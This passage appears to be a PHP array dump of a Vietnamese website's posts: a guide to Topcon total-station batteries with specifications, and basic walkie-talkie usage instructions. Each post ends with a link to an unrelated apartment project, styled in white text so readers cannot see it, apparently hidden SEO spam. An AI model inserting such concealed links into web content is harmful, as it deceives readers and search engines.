phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>', 'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;"> </p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br /> <br /> <strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p> </li> </ul> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br style="margin: 0px; padding: 0px;" /> <br style="margin: 0px; padding: 0px;" /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p> <div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;"> <tbody style="margin: 0px; padding: 0px;"> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">12h</span></span></span></span></p> </td> </tr> </tbody> </table> </div> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li> </ul> ', 'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '79070', 'slug' => 'pin-may-toan-dac-dien-tu-topcon', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '849', 'rght' => '850', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '486', 'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm', 'code' => null, 'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<div style="text-align: justify;"> <font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div> ', 'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);"> <span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br /> <br /> 1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li> </ul> ', 'images' => '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '70748', 'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 